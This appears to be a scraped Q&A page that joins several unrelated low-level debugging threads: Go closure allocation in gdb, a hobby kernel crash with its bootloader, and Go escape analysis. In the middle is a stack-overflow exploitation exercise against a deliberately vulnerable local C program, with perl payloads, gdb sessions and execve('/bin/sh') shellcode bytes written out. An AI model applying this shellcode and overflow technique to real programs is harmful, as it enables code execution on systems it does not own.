go runtime.newobject closure variable malloc not in heap - go

code:
package main
import "fmt"
func test(x, y int) func() {
return func() {
x += y
}
}
func main() {
f := test(0x100, 0x200)
f()
fmt.Println("close")
}
compile:
go build -gcflags "-N -l" -o test main.go
gdb:
info "(gdb)Auto-loading safe path"
(gdb) l
2
3 import "fmt"
4
5 func test(x, y int) func() {
6 return func() {
7 x += y
8 }
9 }
10
11 func main() {
(gdb) l
12 f := test(0x100, 0x200)
13 f()
14 fmt.Println("close")
15 }
(gdb) b 13
Breakpoint 1 at 0x483291: file /home/devops/study/src/function/closed_function.go, line 13.
(gdb) b 6
Breakpoint 2 at 0x4831cc: /home/devops/study/src/function/closed_function.go:6. (2 locations)
(gdb) r
Starting program: /home/devops/study/src/function/test
Breakpoint 2, main.test (x=256, y=512, ~r2={void ()} 0xc420043f20) at /home/devops/study/src/function/closed_function.go:6
6 return func() {
(gdb) set disassembly-flavor intel
(gdb) disassemble
Dump of assembler code for function main.test:
0x0000000000483180 : mov rcx,QWORD PTR fs:0xfffffffffffffff8
0x0000000000483189 : cmp rsp,QWORD PTR [rcx+0x10]
0x000000000048318d : jbe 0x483240
0x0000000000483193 : sub rsp,0x28
0x0000000000483197 : mov QWORD PTR [rsp+0x20],rbp
0x000000000048319c : lea rbp,[rsp+0x20]
0x00000000004831a1 : mov QWORD PTR [rsp+0x40],0x0
0x00000000004831aa : lea rax,[rip+0x103af] # 0x493560
0x00000000004831b1 : mov QWORD PTR [rsp],rax
0x00000000004831b5 : call 0x40e3c0
0x00000000004831ba : mov rax,QWORD PTR [rsp+0x8]
0x00000000004831bf : mov QWORD PTR [rsp+0x18],rax
0x00000000004831c4 : mov rcx,QWORD PTR [rsp+0x30]
0x00000000004831c9 : mov QWORD PTR [rax],rcx
=> 0x00000000004831cc : lea rax,[rip+0x1e44d] # 0x4a1620
0x00000000004831d3 : mov QWORD PTR [rsp],rax
0x00000000004831d7 : call 0x40e3c0 # this wihle return a unsafe.Poniter
0x00000000004831dc : mov rax,QWORD PTR [rsp+0x8]
0x00000000004831e1 : mov QWORD PTR [rsp+0x10],rax
0x00000000004831e6 : lea rcx,[rip+0x133] # 0x483320
0x00000000004831ed : mov QWORD PTR [rax],rcx
0x00000000004831f0 : mov rax,QWORD PTR [rsp+0x10]
0x00000000004831f5 : test BYTE PTR [rax],al
0x00000000004831f7 : mov ecx,DWORD PTR [rip+0xc2de3] # 0x545fe0
0x00000000004831fd : mov rdx,QWORD PTR [rsp+0x18]
0x0000000000483202 : lea rdi,[rax+0x8]
0x0000000000483206 : test ecx,ecx
0x0000000000483208 : jne 0x483236
0x000000000048320a : jmp 0x48320c
0x000000000048320c : mov QWORD PTR [rax+0x8],rdx
0x0000000000483210 : jmp 0x483212
0x0000000000483212 : mov rax,QWORD PTR [rsp+0x10]
0x0000000000483217 : test BYTE PTR [rax],al
0x0000000000483219 : mov rcx,QWORD PTR [rsp+0x38]
0x000000000048321e : mov QWORD PTR [rax+0x10],rcx
0x0000000000483222 : mov rax,QWORD PTR [rsp+0x10]
0x0000000000483227 : mov QWORD PTR [rsp+0x40],rax
0x000000000048322c : mov rbp,QWORD PTR [rsp+0x20]
0x0000000000483231 : add rsp,0x28
0x0000000000483235 : ret
0x0000000000483236 : mov rax,rdx
0x0000000000483239 : call 0x44f5c0
0x000000000048323e : jmp 0x483212
0x0000000000483240 : call 0x44d170
0x0000000000483245 : jmp 0x483180
End of assembler dump.
(gdb) c
Continuing.
Breakpoint 1, main.main () at /home/devops/study/src/function/closed_function.go:13
13
(gdb) x/16xg $rsp
0xc420043f10: 0x0000000000000100 0x0000000000000200
0xc420043f20: 0x000000c42000a060 0x000000000040423c
0xc420043f30: 0x000000c42005a058 0x0000000000000000
0xc420043f40: 0x000000c42000a060 0x00000000004b7465
0xc420043f50: 0x0000000000000000 0x0000000000000000
0xc420043f60: 0x000000c42000e1d0 0x000000c420043f78
0xc420043f70: 0x000000c42005a058 0x000000c420043f80
0xc420043f80: 0x0000000000427f32 0x000000c42005a000
(gdb) x/3xg 0x000000c42000a060
0xc42000a060: 0x0000000000483320 0x000000c420014098
0xc42000a070: 0x0000000000000200
(gdb) x/1xg 0x000000c420014098
0xc420014098: 0x0000000000000100
By looking at the address of the memory of the variable, the final corresponding variable is found, and the memory address is not on the heap, and the runtime. newobject only assigns a pointer that appears to follow and does not continue to point to the operation?

Related

When I use global variables it crashes my kernel

I have had this happen before and worked around it for a while but now it slowly becomes more and more unavoidable, because now I need them.
For some weird reason, my kernel crashes when I try to use a global variable in my code.
This works:
int global;
void kmain()
{
//do some stuff...
}
This does not work:
int global;
void kmain()
{
global = 1;
//do some stuff...
}
I have no idea why this is happening.
As some additional resources here is my linker script:
OUTPUT_FORMAT(binary)
phys = 0x0500;
SECTIONS
{
.text phys : AT(phys) {
code = .;
*(.text)
*(.rodata)
. = ALIGN(4096);
}
.data : AT(phys + (data - code))
{
data = .;
*(.data)
. = ALIGN(4096);
}
.bss : AT(phys + (bss - code)) {
bss = .;
*(.bss)
. = ALIGN(4096);
}
end = .;
/DISCARD/
: {
*(.comment)
*(.eh_frame)
*(.note.gnu.build-id)
}
}
and my makefile:
bin/UmbrellaOS.img: bin/boot.bin bin/kernel.bin bin/zeros.bin
cat $^ > $#
bin/kernel.bin: tmp/kernel_entry.o tmp/kernel.o
x86_64-elf-ld -o $# -T link.ld $^
tmp/kernel.o: src/kernel/main.c
x86_64-elf-gcc -ffreestanding -m64 -g -c $^ -o $#
Edit:
To be more specific I use QEMU to test my OS upon starting QEMU it instantly closes. It should also be noted that if I try something like this:
int global;
void kmain()
{
return;
global = 0;
}
it works for some reason.
I can see a green L printed to the screen which is the last thing my bootloader does before passing control to the kernel after long mode has been entered.
btw here is my bootloader:
[bits 16]
[org 0x7C00]
KERNEL_LOC equ 0x0500
_start:
mov [_BootDisk], dl
xor ax, ax
mov ds, ax
mov es, ax
mov ss, ax
mov bp, 0x7BFF
mov sp, bp
push 0x7E00 ; buffer
push 1 ; sectors to read
push 2 ; sector num
call DiskRead
jc .error
push ebx
pushfd
pop eax
mov ebx, eax
xor eax, 0x200000
push eax
popfd
pushfd
pop eax
cmp eax, ebx
jnz .supported
push _CpuErrorString
call Print
jmp .error
.supported:
mov eax, 0x80000000
cpuid
cmp eax, 0x80000001
jb .no64
mov eax, 0x80000001
cpuid
test edx, 1 << 29
jnz .is64
.no64:
push _64ErrorString
call Print
jmp .error
.is64:
push 0x8000
call MapMem
push KERNEL_LOC ; buffer
push 8 ; sectors to read
push 3 ; sector num
call DiskRead
jc .error
cli
lgdt [GDT_descriptor]
mov eax, cr0
or eax, 1
mov cr0, eax
jmp CODE_SEG:protected_mode
.error:
jmp $
Print:
push bp
mov bp, sp
mov bx, [bp+4]
mov ah, 0x0E
.loop:
mov al, [bx]
cmp al, 0
je .end
int 0x10
inc bx
jmp .loop
.end:
mov sp, bp
pop bp
ret 2
DiskRead:
push bp
mov bp, sp
mov ah, 0x02
mov al, [bp+6]
mov ch, 0
mov cl, [bp+4]
mov dh, 0
mov dl, [_BootDisk]
mov bx, [bp+8]
int 0x13
cmp al, [bp+6]
je .end
jnc .end
push _DiskErrorString
call Print
.end:
mov sp, bp
pop bp
ret 6
MapMem:
push bp
mov bp, sp
mov si, [bp+4]
mov di, [bp+4]
add di, 4
xor ebx, ebx
mov edx, 0x0534D4150
mov eax, 0xE820
mov [di+20], dword 1
mov ecx, 24
int 0x15
jc .failed
mov edx, 0x0534D4150
cmp eax, edx
jne .failed
test ebx, ebx
je .failed
.loop:
mov eax, 0xE820
mov [di+20], dword 1
mov ecx, 24
int 0x15
jc .finish
mov edx, 0x0534D4150
.jmpin:
jcxz .skip
cmp cl, 20
jbe .notext
test byte [di+20], 1
je .skip
.notext:
mov ecx, [di+8]
or ecx, [di+12]
jz .skip
inc dword [si]
add di, 24
.skip:
test ebx, ebx
jne .loop
.finish:
clc
jmp .end
.failed:
push _MemErrorString
call Print
stc
jmp .end
.end:
mov sp, bp
pop bp
ret 2
_BootDisk: db 0
_DiskErrorString: db "Disk read error!", 13, 10, 0
_MemErrorString: db "Memory mapping failed!", 13, 10, 0
_CpuErrorString: db "CPUID not supported!", 13, 10, 0
_64ErrorString: db "x64 bits not supported!", 13, 10, 0
CODE_SEG equ GDT_code - GDT_start
DATA_SEG equ GDT_data - GDT_start
GDT_start:
GDT_null:
dd 0x0
dd 0x0
GDT_code:
dw 0xffff
dw 0x0
db 0x0
db 0b10011010
db 0b11001111
db 0x0
GDT_data:
dw 0xffff
dw 0x0
db 0x0
db 0b10010010
db 0b11001111
db 0x0
GDT_end:
GDT_descriptor:
dw GDT_end - GDT_start - 1
dd GDT_start
times 510-($-$$) db 0
dw 0xAA55
[bits 32]
protected_mode:
mov ax, DATA_SEG
mov ds, ax
mov ss, ax
mov es, ax
mov fs, ax
mov gs, ax
mov ebp, 0x90000
mov esp, ebp
call Clear
mov ebx, VGA_MEM
mov byte [ebx], 'P'
inc ebx
mov byte [ebx], 14
mov eax, cr0
and eax, ~(1 << 31)
mov cr0, eax
mov edi, 0x1000
mov cr3, edi
xor eax, eax
mov ecx, 4096
rep stosd
mov edi, cr3
mov dword [edi], 0x2003
add edi, 0x1000
mov dword [edi], 0x3003
add edi, 0x1000
mov dword [edi], 0x4003
add edi, 0x1000
mov ebx, 0x00000003
mov ecx, 512
.set_entry:
mov dword [edi], ebx
add ebx, 0x1000
add edi, 8
loop .set_entry
mov eax, cr4
or eax, 1 << 5
mov cr4, eax
mov ecx, 0xC0000080
rdmsr
or eax, 1 << 8
wrmsr
mov eax, cr0
or eax, 1 << 31
mov cr0, eax
lgdt [GDT.Pointer]
jmp GDT.Code:long_mode
jmp $
Clear:
push ebp
mov ebp, esp
mov ecx, VGA_SIZE
mov eax, VGA_MEM
.loop:
mov byte [eax], 0
inc eax
loop .loop
mov esp, ebp
pop ebp
ret
PRESENT equ 1 << 7
NOT_SYS equ 1 << 4
EXEC equ 1 << 3
RW equ 1 << 1
ACCESSED equ 1 << 0
GRAN_4K equ 1 << 7
SZ_32 equ 1 << 6
LONG_MODE equ 1 << 5
GDT:
.Null: equ $ - GDT
dq 0
.Code: equ $ - GDT
dd 0xFFFF
db 0
db PRESENT | NOT_SYS | EXEC | RW
db GRAN_4K | LONG_MODE | 0xF
db 0
.Data: equ $ - GDT
dd 0xFFFF
db 0
db PRESENT | NOT_SYS | RW
db GRAN_4K | SZ_32 | 0xF
db 0
.TSS: equ $ - GDT
dd 0x00000068
dd 0x00CF8900
.Pointer:
dw $ - GDT - 1
dq GDT
[bits 64]
long_mode:
cli
mov ax, GDT.Data
mov ds, ax
mov es, ax
mov fs, ax
mov gs, ax
mov ss, ax
mov rbp, 0x0007FFFF
mov rsp, rbp
mov rbx, VGA_MEM
mov byte [rbx], 'L'
inc rbx
mov byte [rbx], 2
jmp KERNEL_LOC
VGA_MEM equ 0xB8000
VGA_WIDTH equ 80
VGA_HEIGHT equ 25
VGA_STRIDE equ 2
VGA_SIZE equ VGA_WIDTH * VGA_STRIDE * VGA_HEIGHT
VGA_LENGTH equ VGA_WIDTH * VGA_HEIGHT
times 1024-($-$$) db 0
And for anyone wanting to see the big picture here's the Github repository I made.
The problem was that I simply forgot that I put my page table structures at 0x1000 and accidentally overrode them when loading my kernel at 0x0500.
I ended up leaving the structures at 0x1000 and moved my kernel to 0x5000.
This was a rather simple problem but I would recommend that you still take a look at the comments because there's still a lot of useful information and things to consider.
First: ALWAYS Initialize variables especially global ones.
Second: The problem is surely from your bootloader, can you edit the post to show us how you load your kernel?
Try objdump to see if the variable is declared, use -monitor stdio with QEMU and check the value of CR2 Register, it may be a page fault due to the second problem.
Here is a solution to check if the variable really has a valid pointer:
You can remove these edits after everything is ok.
instead of :
jmp KERNEL_LOC
do:
call KERNEL_LOC ; RAX Has the pointer of the global variable
jmp $
In kmain just type:
return &global
Then run it on QEMU and type in the console info registers, RAX should contain the pointer of the variable named global.

Problems to put the shellcode into an easy program

I want to take the control of EBP and ESP to finally, when the program doing the ret, EIP will addressed to a shellcode, but I have a problem. The program is that:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int limit,c;
int getebp()
{
__asm__("movl %ebp, %eax");
}
int proc(char *nombre)
{
int *i;
char buffer[256];
i = (int *) getebp();
limit = *i - (int)buffer + 4;
for (c = 0; c < limit && nombre[c] != '\0'; c++)
buffer[c] = nombre[c];
printf("\nEncantado de conocerte: %s\n", buffer);
return 0;
}
int main(int argc, char **argv[])
{
if (argc < 2) {
printf("\nUso: %s <nombre>\n", argv[0]);
exit(0);
}
proc(argv[1]);
return 0;
}
The code assembly of proc is like that:
(gdb) disass proc
Dump of assembler code for function proc:
0x0804840b <+0>: push ebp
0x0804840c <+1>: mov ebp,esp
0x0804840e <+3>: sub esp,0x128
0x08048414 <+9>: call 0x8048404 <getebp>
0x08048419 <+14>: mov DWORD PTR [ebp-0xc],eax
0x0804841c <+17>: mov eax,DWORD PTR [ebp-0xc]
0x0804841f <+20>: mov edx,DWORD PTR [eax]
0x08048421 <+22>: lea eax,[ebp-0x10c]
0x08048427 <+28>: mov ecx,edx
0x08048429 <+30>: sub ecx,eax
0x0804842b <+32>: mov eax,ecx
0x0804842d <+34>: add eax,0x4
0x08048430 <+37>: mov ds:0x8049828,eax
0x08048435 <+42>: mov DWORD PTR ds:0x804982c,0x0
0x0804843f <+52>: jmp 0x8048466 <proc+91>
0x08048441 <+54>: mov eax,ds:0x804982c
0x08048446 <+59>: mov edx,DWORD PTR ds:0x804982c
0x0804844c <+65>: add edx,DWORD PTR [ebp+0x8]
0x0804844f <+68>: movzx edx,BYTE PTR [edx]
0x08048452 <+71>: mov BYTE PTR [ebp+eax*1-0x10c],dl
0x08048459 <+78>: mov eax,ds:0x804982c
0x0804845e <+83>: add eax,0x1
0x08048461 <+86>: mov ds:0x804982c,eax
0x08048466 <+91>: mov edx,DWORD PTR ds:0x804982c
0x0804846c <+97>: mov eax,ds:0x8049828
0x08048471 <+102>: cmp edx,eax
0x08048473 <+104>: jge 0x8048484 <proc+121>
0x08048475 <+106>: mov eax,ds:0x804982c
0x0804847a <+111>: add eax,DWORD PTR [ebp+0x8]
0x0804847d <+114>: movzx eax,BYTE PTR [eax]
0x08048480 <+117>: test al,al
0x08048482 <+119>: jne 0x8048441 <proc+54>
0x08048484 <+121>: mov eax,0x80485c0
0x08048489 <+126>: lea edx,[ebp-0x10c]
0x0804848f <+132>: mov DWORD PTR [esp+0x4],edx
0x08048493 <+136>: mov DWORD PTR [esp],eax
0x08048496 <+139>: call 0x8048300 <printf#plt>
0x0804849b <+144>: mov eax,0x0
0x080484a0 <+149>: leave
0x080484a1 <+150>: ret
End of assembler dump.
and the code assemly of main:
(gdb) disass main
Dump of assembler code for function main:
0x080484a2 <+0>: push ebp
0x080484a3 <+1>: mov ebp,esp
0x080484a5 <+3>: and esp,0xfffffff0
0x080484a8 <+6>: sub esp,0x10
0x080484ab <+9>: cmp DWORD PTR [ebp+0x8],0x1
0x080484af <+13>: jg 0x80484d3 <main+49>
0x080484b1 <+15>: mov eax,DWORD PTR [ebp+0xc]
0x080484b4 <+18>: mov edx,DWORD PTR [eax]
0x080484b6 <+20>: mov eax,0x80485dd
0x080484bb <+25>: mov DWORD PTR [esp+0x4],edx
0x080484bf <+29>: mov DWORD PTR [esp],eax
0x080484c2 <+32>: call 0x8048300 <printf#plt>
0x080484c7 <+37>: mov DWORD PTR [esp],0x0
0x080484ce <+44>: call 0x8048320 <exit#plt>
0x080484d3 <+49>: mov eax,DWORD PTR [ebp+0xc]
0x080484d6 <+52>: add eax,0x4
0x080484d9 <+55>: mov eax,DWORD PTR [eax]
0x080484db <+57>: mov DWORD PTR [esp],eax
0x080484de <+60>: call 0x804840b <proc>
0x080484e3 <+65>: mov eax,0x0
0x080484e8 <+70>: leave
0x080484e9 <+71>: ret
End of assembler dump.
Ok, I know that overwrite EBP with 272 Aes, so:
vagrant#precise32:~/expliting$ gdb -q ./saludo
Reading symbols from ./saludo...(no debugging symbols found)...done.
(gdb) b *proc+149
Breakpoint 1 at 0x80484a0
(gdb) r `perl -e 'print "A" x272 '`
Starting program: /home/vagrant/expliting/saludo `perl -e 'print "A" x272 '`
Encantado de conocerte: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒
Breakpoint 1, 0x080484a0 in proc ()
(gdb) x/16x $esp
0xbffff4c0: 0x080485c0 **0xbffff4dc** 0xb7fdc470 0x00000003
0xbffff4d0: 0xbffff500 0x07b1ea71 0xf63d4e2e 0x41414141
0xbffff4e0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff4f0: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb) q
And I know that the buffer's init direction is 0xbffff4dc, so:
vagrant#precise32:~/expliting$ gdb -q ./saludo
Reading symbols from ./saludo...(no debugging symbols found)...done.
(gdb) b *main+70
Breakpoint 1 at 0x80484e8
(gdb) r `perl -e 'print "A"x268 . "\xd8\xf4\xff\xbf"'`
Starting program: /home/vagrant/expliting/saludo `perl -e 'print "A"x268 . "\xd8\xf4\xff\xbf"'`
Encantado de conocerte: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒▒▒▒▒
Breakpoint 1, 0x080484e8 in main ()
(gdb) i r ebp
ebp 0xbffff4d8 0xbffff4d8
(gdb) b *main+71
Breakpoint 2 at 0x80484e9
(gdb) c
Continuing.
Breakpoint 2, 0x080484e9 in main ()
(gdb) i r esp
esp 0xbffff4dc 0xbffff4dc
(gdb) x/x $esp
0xbffff4dc: 0x41414141
Ok, that sounds good, i have got to take the control of ESP. Now I want to shift the shellcode 4 bytes further. So:
vagrant#precise32:~/expliting$ gdb -q ./saludo
Reading symbols from ./saludo...(no debugging symbols found)...done.
(gdb) b *proc+150
Breakpoint 1 at 0x80484a1
(gdb) b *main+71
Breakpoint 2 at 0x80484e9
(gdb) r `perl -e 'print "\xe0\xf4\xff\xbf"'``cat /tmp/sc``perl -e 'print "A"x220 . "\xd8\xf4\xff\xbf"'`
Starting program: /home/vagrant/expliting/saludo `perl -e 'print "\xe0\xf4\xff\xbf"'``cat /tmp/sc``perl -e 'print "A"x220 . "\xd8\xf4\xff\xbf"'`
Encantado de conocerte: ▒▒▒▒▒^▒1▒F▒F
▒
▒▒▒V
▒1ۉ▒#̀▒▒▒▒▒/bin/shAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒▒▒▒▒
Breakpoint 1, 0x080484a1 in proc ()
(gdb) i r ebp
ebp 0xbffff4d8 0xbffff4d8
(gdb) c
Continuing.
Breakpoint 2, 0x080484e9 in main ()
(gdb) i r esp
esp 0xbffff4dc 0xbffff4dc
(gdb) x/x $esp
0xbffff4dc: 0xbffff4e0
(gdb) x/16x $esp
0xbffff4dc: 0xbffff4e0 0x895e1feb 0xc0310876 0x89074688
0xbffff4ec: 0x0bb00c46 0x4e8df389 0x0c568d08 0x89db3180
0xbffff4fc: 0x80cd40d8 0xffffdce8 0x69622fff 0x68732f6e
0xbffff50c: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb) q
!!WTF!! Why? now has ESP address to 0xbffff4e0 ??? The program is compiled like that:
gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack $1 -o $2
I have re-done my shellcode, (/tmp/binsh):
cat binsh.asm
section .text
global _start
_start:
xor eax, eax
push eax
push dword 0x68732f2f
push dword 0x6e69622f
mov ebx, esp
push eax
push ebx
mov ecx, esp
mov al, 0x0b
int 0x80
The objdump:
objdump -d binsh
binsh: file format elf32-i386
Disassembly of section .text:
08048060 <_start>:
8048060: 31 c0 xor %eax,%eax
8048062: 50 push %eax
8048063: 68 2f 2f 73 68 push $0x68732f2f
8048068: 68 2f 62 69 6e push $0x6e69622f
804806d: 89 e3 mov %esp,%ebx
804806f: 50 push %eax
8048070: 53 push %ebx
8048071: 89 e1 mov %esp,%ecx
8048073: b0 0b mov $0xb,%al
8048075: cd 80 int $0x80
Basically I did,
echo /bin > bin
echo //sh > sh
and then, I got their hexdump values: 6e69622f and 68732f2f
Works fine:
```vagrant#precise32:/tmp$ ./binsh
$
When I continue, the program should received a shellcode, however recived a SIGILL…
It seems the code loaded from /tmp/sc is wrong. You should see what's wrong with it by disassembling from 0xbffff4e0, e. g. x/20i 0xbffff4e0.
Newly, I have build my shellcode with that command:
echo `perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x76\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80/bin/sh";'` > binsh5
so, I think to know what's happening. When I execute the full instruction:
r `perl -e 'print "\xe0\xf4\xff\xbf"'``cat /tmp/binsh5``perl -e 'print "A"x234 . "\xd8\xf4\xff\xbf"'`
I take control the both ESP and EBP:
(gdb) i r ebp
ebp 0xbffff4d8 0xbffff4d8
(gdb) c
Continuing.
Breakpoint 2, 0x080484e9 in main ()
(gdb) i r esp
esp 0xbffff4dc 0xbffff4dc
(gdb) x/x $esp
0xbffff4dc: 0xbffff4e0
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0xbffff4f8 in ?? ()
However I get a SIGSEGV. If I see this address:
(gdb) x/20i 0xbffff4f8
=> 0xbffff4f8: bound ebp,QWORD PTR [ecx+0x6e]
0xbffff4fb: das
0xbffff4fc: jae 0xbffff566
0xbffff4fe: inc ecx
0xbffff4ff: inc ecx
0xbffff500: inc ecx
0xbffff501: inc ecx
0xbffff502: inc ecx
0xbffff503: inc ecx
0xbffff504: inc ecx
0xbffff505: inc ecx
0xbffff506: inc ecx
0xbffff507: inc ecx
0xbffff508: inc ecx
0xbffff509: inc ecx
0xbffff50a: inc ecx
0xbffff50b: inc ecx
0xbffff50c: inc ecx
0xbffff50d: inc ecx
0xbffff50e: inc ecx
I think to know the problem:
08048060 <_start>:
8048060: 31 c0 xor %eax,%eax
8048062: 50 push %eax
8048063: 68 2f 2f 73 68 push $0x68732f2f
8048068: 68 2f 62 69 6e **push $0x6e69622f**
804806d: 89 e3 mov %esp,%ebx
804806f: 50 push %eax
8048070: 53 push %ebx
8048071: 89 e1 mov %esp,%ecx
8048073: b0 0b mov $0xb,%al
8048075: cd 80 int $0x80
I think that the instruction in bold, is not pushed fully. It seems that shellcode pushs onto the stack like:
2F das
62 69 6E bound ebp,QWORD PTR [ecx+0x6e]
I think I have found the problem, but nowadays I don't know how to solve.
You're right. /tmp/sc not executed the code. I've re-done my shellcode and I know that it's ok, If i type: /tmp/binsc I get the shellcode. But now, the program does nothing finally I have to Ctrl+C.
(gdb) b *proc+150
Breakpoint 1 at 0x80484a1
(gdb) b *main+71
Breakpoint 2 at 0x80484e9
(gdb) r `perl -e 'print "\xe0\xf4\xff\xbf"'``cat /tmp/binsh``perl -e 'print "A"x204 . "\xd8\xf4\xff\xbf"'`
^C
During startup program terminated with signal SIGINT, Interrupt.
(gdb)

golang doing unexpected heap memory allocation

While benchmarking, I noticed a surprising heap memory allocation. After reducing the repro, I ended up with the following:
// --- Repro file ---
func memAllocRepro(values []int) *[]int {
for {
break
}
return &values
}
// --- Benchmark file ---
func BenchmarkMemAlloc(b *testing.B) {
values := []int{1, 2, 3, 4}
for i := 0; i < b.N; i++ {
memAllocRepro(values)
}
}
And here is the benchmark output:
BenchmarkMemAlloc-4 50000000 40.2 ns/op 32 B/op 1 allocs/op
PASS
ok memalloc_debugging 2.113s
Success: Benchmarks passed.
Now the funny this is, if I remove the for loop, or if I return the slice directly instead of a slice pointer, there are no more heap alloc:
// --- Repro file ---
func noAlloc1(values []int) *[]int {
return &values // No alloc!
}
func noAlloc2(values []int) []int {
for {
break
}
return values // No alloc!
}
// --- Benchmark file ---
func BenchmarkNoAlloc(b *testing.B) {
values := []int{1, 2, 3, 4}
for i := 0; i < b.N; i++ {
noAlloc1(values)
noAlloc2(values)
}
Benchmark result:
BenchmarkNoAlloc-4 300000000 4.20 ns/op 0 B/op 0 allocs/op
PASS
ok memalloc_debugging 1.756s
Success: Benchmarks passed.
I found that very confusing and confirmed with Delve that the disassembly does has an allocation at the start of the memAllocRepro function:
(dlv) disassemble
TEXT main.memAllocRepro(SB) memalloc_debugging/main.go
main.go:10 0x44ce10 65488b0c2528000000 mov rcx, qword ptr gs:[0x28]
main.go:10 0x44ce19 488b8900000000 mov rcx, qword ptr [rcx]
main.go:10 0x44ce20 483b6110 cmp rsp, qword ptr [rcx+0x10]
main.go:10 0x44ce24 7662 jbe 0x44ce88
main.go:10 0x44ce26 4883ec18 sub rsp, 0x18
main.go:10 0x44ce2a 48896c2410 mov qword ptr [rsp+0x10], rbp
main.go:10 0x44ce2f 488d6c2410 lea rbp, ptr [rsp+0x10]
main.go:10 0x44ce34 488d0525880000 lea rax, ptr [rip+0x8825]
main.go:10 0x44ce3b 48890424 mov qword ptr [rsp], rax
=> main.go:10 0x44ce3f* e8bcebfbff call 0x40ba00 runtime.newobject
I must say though, once I hit that point, I couldn't easily dig further. I'm pretty sure it would be possible to know at least which type is allocated by looking at the structure pointed to by the RAX register, but I wasn't very successful doing so. It's been a long time since I've read disassembly like this.
(dlv) regs
Rip = 0x000000000044ce3f
Rsp = 0x000000c042039f30
Rax = 0x0000000000455660
(...)
All that being said, I have 2 questions:
* Anyone can tell why is there a heap allocation there and if it's "expected"?
* How could I have gone further in my debugging session? Dumping memory to hex has a different address layout and go tool objdump will output disassembly, which mangle the content at the address location
Full function dump with go tool objdump:
TEXT main.memAllocRepro(SB) memalloc_debugging/main.go
main.go:10 0x44ce10 65488b0c2528000000 MOVQ GS:0x28, CX
main.go:10 0x44ce19 488b8900000000 MOVQ 0(CX), CX
main.go:10 0x44ce20 483b6110 CMPQ 0x10(CX), SP
main.go:10 0x44ce24 7662 JBE 0x44ce88
main.go:10 0x44ce26 4883ec18 SUBQ $0x18, SP
main.go:10 0x44ce2a 48896c2410 MOVQ BP, 0x10(SP)
main.go:10 0x44ce2f 488d6c2410 LEAQ 0x10(SP), BP
main.go:10 0x44ce34 488d0525880000 LEAQ runtime.types+34656(SB), AX
main.go:10 0x44ce3b 48890424 MOVQ AX, 0(SP)
main.go:10 0x44ce3f e8bcebfbff CALL runtime.newobject(SB)
main.go:10 0x44ce44 488b7c2408 MOVQ 0x8(SP), DI
main.go:10 0x44ce49 488b442428 MOVQ 0x28(SP), AX
main.go:10 0x44ce4e 48894708 MOVQ AX, 0x8(DI)
main.go:10 0x44ce52 488b442430 MOVQ 0x30(SP), AX
main.go:10 0x44ce57 48894710 MOVQ AX, 0x10(DI)
main.go:10 0x44ce5b 8b052ff60600 MOVL runtime.writeBarrier(SB), AX
main.go:10 0x44ce61 85c0 TESTL AX, AX
main.go:10 0x44ce63 7517 JNE 0x44ce7c
main.go:10 0x44ce65 488b442420 MOVQ 0x20(SP), AX
main.go:10 0x44ce6a 488907 MOVQ AX, 0(DI)
main.go:16 0x44ce6d 48897c2438 MOVQ DI, 0x38(SP)
main.go:16 0x44ce72 488b6c2410 MOVQ 0x10(SP), BP
main.go:16 0x44ce77 4883c418 ADDQ $0x18, SP
main.go:16 0x44ce7b c3 RET
main.go:16 0x44ce7c 488b442420 MOVQ 0x20(SP), AX
main.go:10 0x44ce81 e86aaaffff CALL runtime.gcWriteBarrier(SB)
main.go:10 0x44ce86 ebe5 JMP 0x44ce6d
main.go:10 0x44ce88 e85385ffff CALL runtime.morestack_noctxt(SB)
main.go:10 0x44ce8d eb81 JMP main.memAllocRepro(SB)
:-1 0x44ce8f cc INT $0x3
Disassemble of the memory pointed to by the RAX register:
(dlv) disassemble -a 0x0000000000455660 0x0000000000455860
.:0 0x455660 1800 sbb byte ptr [rax], al
.:0 0x455662 0000 add byte ptr [rax], al
.:0 0x455664 0000 add byte ptr [rax], al
.:0 0x455666 0000 add byte ptr [rax], al
.:0 0x455668 0800 or byte ptr [rax], al
.:0 0x45566a 0000 add byte ptr [rax], al
.:0 0x45566c 0000 add byte ptr [rax], al
.:0 0x45566e 0000 add byte ptr [rax], al
.:0 0x455670 8e66f9 mov fs, word ptr [rsi-0x7]
.:0 0x455673 1b02 sbb eax, dword ptr [rdx]
.:0 0x455675 0808 or byte ptr [rax], cl
.:0 0x455677 17 ?
.:0 0x455678 60 ?
.:0 0x455679 0d4a000000 or eax, 0x4a
.:0 0x45567e 0000 add byte ptr [rax], al
.:0 0x455680 c01f47 rcr byte ptr [rdi], 0x47
.:0 0x455683 0000 add byte ptr [rax], al
.:0 0x455685 0000 add byte ptr [rax], al
